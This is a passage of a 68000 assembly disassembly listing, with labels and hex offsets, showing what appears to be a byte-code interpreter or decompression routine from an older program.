DBF D6,LAB_0044 ;67E: 51CEFFEA
SUBQ #1,D1 ;682: 5341
LAB_0046:
MOVE.B -(A4),-(A3) ;684: 1724
DBF D1,LAB_0046 ;686: 51C9FFFC
MOVEA.L A1,A0 ;68A: 2049
LEA 142(A7),A7 ;68C: 4FEF008E
DBF D4,LAB_003E ;690: 51CCFF44
JSR -138(A6) ;694: 4EAEFF76
ADDQ #7,D5 ;698: 5E45
LSR #2,D5 ;69A: E44D
BCS.S LAB_0047 ;69C: 6502
ADDQ #2,A1 ;69E: 5449
LAB_0047:
LEA (EXT_0002).W,A2 ;6A0: 45F803F2
MOVE.L A2,(A1) ;6A4: 228A
MOVE.L LAB_000A(PC),-(A3) ;6A6: 273AFB90
EXT.L D5 ;6AA: 48C5
MOVE.L D5,-(A3) ;6AC: 2705
SUBQ #8,A2 ;6AE: 514A
SUBQ #1,A2 ;6B0: 534A
MOVE.L A2,-(A3) ;6B2: 270A
MOVE.L (A7)+,D2 ;6B4: 241F
MOVEM.L (A7)+,D0-D1/D3-D4/D6-D7/A0-A6 ;6B6: 4CDF7FDB
RTS ;6BA: 4E75
LAB_0048:
MOVE.B (A3)+,D0 ;6BC: 101B
EXT D0 ;6BE: 4880
MOVE.B LAB_004D(PC,D0.W),D0 ;6C0: 103B005E
EXT D0 ;6C4: 4880
JSR LAB_004D(PC,D0.W) ;6C6: 4EBB0058
BRA.S LAB_0048 ;6CA: 60F0
MOVE.L -8(A2),D0 ;6CC: 202AFFF8
SUB.L A4,D0 ;6D0: 908C
MOVE D0,(A4)+ ;6D2: 38C0
BRA.S LAB_004B ;6D4: 602A
LAB_0049:
ANDI #$0007,D2 ;6D6: 02420007
ADDQ #1,D2 ;6DA: 5242
RTS ;6DC: 4E75
MOVEQ #0,D0 ;6DE: 7000
BRA.S LAB_004A ;6E0: 600C
BSR.S LAB_0049 ;6E2: 61F2
MOVE D2,D0 ;6E4: 3002
NEG D0 ;6E6: 4440
BRA.S LAB_004A ;6E8: 6004
BSR.S LAB_0049 ;6EA: 61EA
MOVE D2,D0 ;6EC: 3002
LAB_004A:
MOVE.L A4,-4(A2) ;6EE: 254CFFFC
MOVE D0,(A4)+ ;6F2: 38C0
RTS ;6F4: 4E75
BSR.S LAB_004E ;6F6: 6168
LSL.B #4,D1 ;6F8: E909
MOVE.B D1,(A4)+ ;6FA: 18C1
MOVE.B D2,(A4) ;6FC: 1882
NEG.B (A4)+ ;6FE: 441C
LAB_004B:
ADDQ.L #4,A7 ;700: 588F
RTS ;702: 4E75
BSR.S LAB_004E ;704: 615A
ROR #7,D1 ;706: EE59
LAB_004C:
BSR.S LAB_004F ;708: 6160
OR D0,D1 ;70A: 8240
MOVE D1,(A4)+ ;70C: 38C1
RTS ;70E: 4E75
BSR.S LAB_004E ;710: 614E
BRA.S LAB_004C ;712: 60F4
BSR.S LAB_004E ;714: 614A
ROR #7,D1 ;716: EE59
MOVE D1,D0 ;718: 3001
BSR.S LAB_004E ;71A: 6144
OR D0,D1 ;71C: 8240
BRA.S LAB_004C ;71E: 60E8
LAB_004D:
ASR -(A4) ;720: E0E4
DC.W $F0F4 ;722
MOVE.B (A4),D4 ;724: 1814
MOVE.L 7894(A2),D1 ;726: 222A1ED6
DC.W $ACB6 ;72A
MOVEA (A2),A0 ;72C: 3052
CMPA A2,A7 ;72E: BECA
AND (A6)+,D1 ;730: C25E
MOVEQ #0,D1 ;732: 7200
MOVE.B (A3)+,(A4)+ ;734: 18DB
MOVE.B (A3)+,(A4)+ ;736: 18DB
MOVE.B (A3)+,(A4)+ ;738: 18DB
MOVE.B (A3)+,(A4)+ ;73A: 18DB
RTS ;73C: 4E75
ASR.B #1,D2 ;73E: E202
EXT D2 ;740: 4882
BSR.S LAB_004F ;742: 6126
ADD D2,D0 ;744: D042
MOVE D0,(A4)+ ;746: 38C0
RTS ;748: 4E75
MOVE D2,(A4) ;74A: 3882
NEG (A4)+ ;74C: 445C
BRA.S LAB_004B ;74E: 60B0
BSR.S LAB_004E ;750: 610E
BSR.S LAB_004F ;752: 6116
MOVE D0,(A4) ;754: 3880
LSL #5,D2 ;756: EB4A
LSR #4,D2 ;758: E84A
OR.B D2,(A4)+ ;75A: 851C
OR.B D1,(A4)+ ;75C: 831C
BRA.S LAB_004B ;75E: 60A0
LAB_004E:
MOVEQ #0,D1 ;760: 7200
MOVE.B (A3)+,D1 ;762: 121B
MOVE.B 0(A2,D1.W),D1 ;764: 12321000
RTS ;768: 4E75
LAB_004F:
MOVE.B (A3)+,D0 ;76A: 101B
LSL #8,D0 ;76C: E148
MOVE.B (A3)+,D0 ;76E: 101B
RTS ;770: 4E75
LAB_0050:
TST.L -8(A2) ;772: 4AAAFFF8
BNE.S LAB_0051 ;776: 6604
MOVE.L A4,-8(A2) ;778: 254CFFF8
LAB_0051:
RTS ;77C: 4E75
BSR.S LAB_0050 ;77E: 61F2
MOVE.B (A3)+,D0 ;780: 101B
MOVE.B D0,(A4)+ ;782: 18C0
MOVE.B 9(A2),(A4) ;784: 18AA0009
BSET #4,(A4)+ ;788: 08DC0004
LAB_0052:
NOT.B D2 ;78C: 4602
BEQ.S LAB_0052 ;78E: 67FC
MOVE D2,(A4)+ ;790: 38C2
MOVE.B (A3)+,D1 ;792: 121B
EXT D1 ;794: 4881
PEA 0(A3,D1.W) ;796: 48731000
MOVE.L (A7)+,(A5)+ ;79A: 2ADF
MOVE D2,(A5)+ ;79C: 3AC2
END